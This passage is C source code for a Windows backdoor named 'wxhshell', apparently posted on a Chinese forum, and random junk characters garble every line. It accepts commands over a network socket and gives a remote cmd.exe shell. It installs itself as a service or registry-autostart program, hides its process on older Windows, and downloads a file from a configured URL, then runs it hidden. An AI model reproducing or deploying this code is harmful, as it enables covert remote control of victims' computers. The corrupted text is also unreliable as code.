  [<R haZz  
  // 帮助 x|~8?i$%  
  case '?': { /grTOf&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); f,TW|Y'{g  
    break; MeEa|.  
  }  TUcFx_  
  // 安装 "/Qz?1>l+  
  case 'i': { M%S7cIX ]F  
    if(Install()) ?'MkaG0g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :2? g_  
    else #KJ# 1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'v6@5t19j  
    break; UA6id|G  
    } o8g7wM]M  
  // 卸载 .dlsiBh  
  case 'r': { q`c!!Lg  
    if(Uninstall()) Z6Fu~D2U y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OX7=g$S 1  
    else yW|J`\`^T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eJ?oz^  
    break; lKf58 mB  
    } I`V<Sh^Qd  
  // 显示 wxhshell 所在路径  cca g8LC  
  case 'p': { %;'~TtW5  
    char svExeFile[MAX_PATH]; t`Z'TqP R  
    strcpy(svExeFile,"\n\r"); %GhI0F #  
      strcat(svExeFile,ExeFile); 1Toiqb/  
        send(wsh,svExeFile,strlen(svExeFile),0); >3uNh:|>/  
    break; ,eyh%k*hz  
    } 8_('[89m  
  // 重启 O k`}\NZL  
  case 'b': { yJ $6vmQ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _re# b?  
    if(Boot(REBOOT)) 4Hj)Av <O(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c;VqEpsbl  
    else { 'Lrn<  
    closesocket(wsh); BPO5=]W 7  
    ExitThread(0); X0;u7g2Yz  
    } =0ZRG p  
    break; !?P8[K  
    } Nm?^cR5r  
  // 关机 dR S:S_  
  case 'd': { |4df)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xb,d,(^]R  
    if(Boot(SHUTDOWN)) QHR,p/p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d0:LJ'<Q  
    else { !O_G%+>5W  
    closesocket(wsh); U]cXE1c>F  
    ExitThread(0); qbv\uYow3k  
    } >WSh)(Cg  
    break; PK[mf\G\  
    } h9)S&Sk{s  
  // 获取shell ybBmg'198  
  case 's': { vjS`;^9  
    CmdShell(wsh); ZxF`i>/h  
    closesocket(wsh); p) 8S]p]  
    ExitThread(0); \Bo%2O%4  
    break; dCd~]CI  
  } <\&9Odqc  
  // 退出 TR DQ+Z  
  case 'x': { aK_5@8+ZD  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F)^0R%{C  
    CloseIt(wsh); :21d  
    break; dQ`Tt- n  
    } =:]ps<Qx  
  // 离开 h&>3;Lj  
  case 'q': { cb}zCl j o  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (;{X-c}?  
    closesocket(wsh); _SBbd9  
    WSACleanup(); Z1HH0{q-A  
    exit(1); LikcW#  
    break; l f>/  
        } k =! Q  
  } {MgRi 7  
  } xKUL}>8  
2%%\jlT_  
  // 提示信息 =]7o+L4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [dJ!JT/X{  
} rwP#Yj[BK+  
  } I"Zp^j  
w(oK   
  return; WNyW1?"  
} [}L~zn6>?a  
HRf;bKZ  
// shell模块句柄 r: K1PO  
int CmdShell(SOCKET sock) }+@9[Q L  
{ MAek856  
STARTUPINFO si; X1@DI_  
ZeroMemory(&si,sizeof(si)); |}=eY?iXo  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "_WN[jm  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #3&@FzD_P  
PROCESS_INFORMATION ProcessInfo; =CLPz8  
char cmdline[]="cmd"; Ge q]wv8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); l2 .S^S  
  return 0; `2.c=,S{  
} 'PF>#X''  
5u!\c(TJ+  
// 自身启动模式 c*IrZm  
int StartFromService(void) f$lb.fy5  
{ 0S{23L4C  
typedef struct -| .NwGh  
{ 0m_yW$w  
  DWORD ExitStatus; )3h\QE!z  
  DWORD PebBaseAddress; sYKx 3[V/  
  DWORD AffinityMask; 2"ax*MQH<^  
  DWORD BasePriority; +z;*r8d<X  
  ULONG UniqueProcessId; _T\~%  
  ULONG InheritedFromUniqueProcessId; (nqry[g&  
}   PROCESS_BASIC_INFORMATION; I6.rN\%b  
UoT`/.  
PROCNTQSIP NtQueryInformationProcess; ]\pi!oa  
=D1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _p )NZ7yC  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; y'2|E+*V  
@v)Z>xv  
  HANDLE             hProcess; Gx C+lqH#  
  PROCESS_BASIC_INFORMATION pbi; [^hW>O=@TN  
y7HFmGM  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); x%mRDm~-  
  if(NULL == hInst ) return 0; ~gI%lORqN  
dFz"wvu` o  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9?l a5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &S>{9 y%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zd YH9d>D  
p2STy\CS  
  if (!NtQueryInformationProcess) return 0; h@%Xy(/m'  
)9eI o&Nl  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )-2Nc7  
  if(!hProcess) return 0; C~En0G1  
3aqH!?rVU  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; aXe&c^AR  
!l[;,l   
  CloseHandle(hProcess); F[ E'R.:  
'@{:Fr G*U  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); io#}z4"'qY  
if(hProcess==NULL) return 0; MPB[~#:  
7b"fpB  
HMODULE hMod; | eBwcC#^  
char procName[255]; C$w%! jE  
unsigned long cbNeeded; u^2`$W  
alb3oipOB  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Y% iqSY  
[mtp-4*  
  CloseHandle(hProcess); ob7'''i  
VX)8 pV$  
if(strstr(procName,"services")) return 1; // 以服务启动 -`L`kL<  
l(>6Yq  
  return 0; // 注册表启动 a{8a[z  
} "| '~y}v_  
"| nXR8t.r  
// 主模块 Wdd}y`lS  
int StartWxhshell(LPSTR lpCmdLine)  S!?T0c?>  
{ :;%Jm  
  SOCKET wsl; V(S7mA:T  
BOOL val=TRUE; pCKP{c=6Q  
  int port=0; /2K"Mpf8  
  struct sockaddr_in door; K6v~!iiK$  
I5"wa:Z  
  if(wscfg.ws_autoins) Install(); ^+(5[z  
%vmd2}dA  
port=atoi(lpCmdLine); A?YYR%o%'  
3BM z{ny=  
if(port<=0) port=wscfg.ws_port; rNN>tpZ}  
8Ths"zwn  
  WSADATA data; 5:@bNNX'j  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \[G'cE  
ifn=De3+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   zhJeTctRz  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); O nXo0PV/(  
  door.sin_family = AF_INET; o#m31* o  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )LP'4*  
  door.sin_port = htons(port); D6ZHvY8R  
MdBmq/[O  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { VzG|Xtco [  
closesocket(wsl); //8W">u  
return 1; 7 A0?tG  
} MIJuJ]U}  
dk&F?B{6T  
  if(listen(wsl,2) == INVALID_SOCKET) { v H HgZ  
closesocket(wsl); >iT mILA  
return 1; e r3M vw  
} 6))":<J  
  Wxhshell(wsl); v`4w=!4  
  WSACleanup(); 9^*RK6  
I0 t#{i  
return 0; HI5NWdfRl  
t'_EcYNS  
} $yOB-  
t 24`*'  
// 以NT服务方式启动 Qa2h#0j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !oz{XWE  
{ UBd+,]"f  
DWORD   status = 0; 0AM_D >fH  
  DWORD   specificError = 0xfffffff; w:zo \  
<K)]kf  
  serviceStatus.dwServiceType     = SERVICE_WIN32; zjoo;(?D|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; yi8vD~aA[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; tw4,gW  
  serviceStatus.dwWin32ExitCode     = 0; 9a_P 9s3w  
  serviceStatus.dwServiceSpecificExitCode = 0; Yc#Uu8f-  
  serviceStatus.dwCheckPoint       = 0; 4X=VNORlU0  
  serviceStatus.dwWaitHint       = 0; 5*z>ez2YQ7  
W^<AUT  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); U5"u h} 3  
  if (hServiceStatusHandle==0) return; "kApGNB  
Hzz{wY   
status = GetLastError(); k8 #8)d  
  if (status!=NO_ERROR) TQB) A9  
{ $:s@nKgnD~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; bidFBldKl  
    serviceStatus.dwCheckPoint       = 0; s9C^Cy^su  
    serviceStatus.dwWaitHint       = 0; 0H_Ai=G  
    serviceStatus.dwWin32ExitCode     = status; +s#%\:Y M  
    serviceStatus.dwServiceSpecificExitCode = specificError; P(PBOB97  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); RLf-Rdx/  
    return; nWK8.&{.  
  } J`g5Qn @S  
9d1km~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; c =m#MMc)  
  serviceStatus.dwCheckPoint       = 0; QGNKQ`~  
  serviceStatus.dwWaitHint       = 0; . vHHw@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xa`xHh{0  
} jt oS{B,  
4Uny.C]  
// 处理NT服务事件,比如:启动、停止 Yo%U{/e  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7~2_'YX>:  
{ *k(FbZ  
switch(fdwControl) S$b)X"h  
{ sm18u-  
case SERVICE_CONTROL_STOP: jwwRejNV  
  serviceStatus.dwWin32ExitCode = 0; 8R)K$J$Hm  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; RZW=z}T+H  
  serviceStatus.dwCheckPoint   = 0; K qJE?caw  
  serviceStatus.dwWaitHint     = 0; kw59`z Es  
  { ,X/j6\VBO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -#I]/7^  
  } GkOk.9Y,5  
  return; 7c_2.T@4  
case SERVICE_CONTROL_PAUSE: r2:{r`ocM  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; NFVu~t  
  break; 2wpJ)t*PF  
case SERVICE_CONTROL_CONTINUE: 1tbA-+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]O;*Y{:Y  
  break; Wl3S]4A  
case SERVICE_CONTROL_INTERROGATE: FKL4`GEm  
  break; <HnJD/g  
}; !v2/sq$G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q7y' 0s  
} '$,yV f  
KY&Lv^1_|  
// 标准应用程序主函数 |}{gE=]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `N[@lV\xp!  
{ =.s0"[%   
pwMA,X/{  
// 获取操作系统版本 cPcH 8Vd  
OsIsNt=GetOsVer(); <Ve0PhK  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /@ em E0  
W(s5mX,Kv  
  // 从命令行安装 1*A^v  
  if(strpbrk(lpCmdLine,"iI")) Install(); bF9.k  
&Sb)a  
  // 下载执行文件 bR3Crz(9G  
if(wscfg.ws_downexe) { i).Vu}W#S  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) x((u  
  WinExec(wscfg.ws_filenam,SW_HIDE); #;99vwc  
} gy?uk~p  
F7' MoH  
if(!OsIsNt) { $j,$O>V  
// 如果时win9x,隐藏进程并且设置为注册表启动 = V')}f~C  
HideProc(); '-myOM7  
StartWxhshell(lpCmdLine); 6}Y==GP t  
} [!U%''  
else -f?  
  if(StartFromService()) n U=  
  // 以服务方式启动 Lvt3S .l  
  StartServiceCtrlDispatcher(DispatchTable); nHF66,7t  
else Gt{%O>P8t  
  // 普通方式启动 {_tq6ja-<  
  StartWxhshell(lpCmdLine); 0J?443A Y  
@V>]95RX  
return 0; Yv=L'0K&  
}
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只看该作者 1 发表于: 2006-10-10
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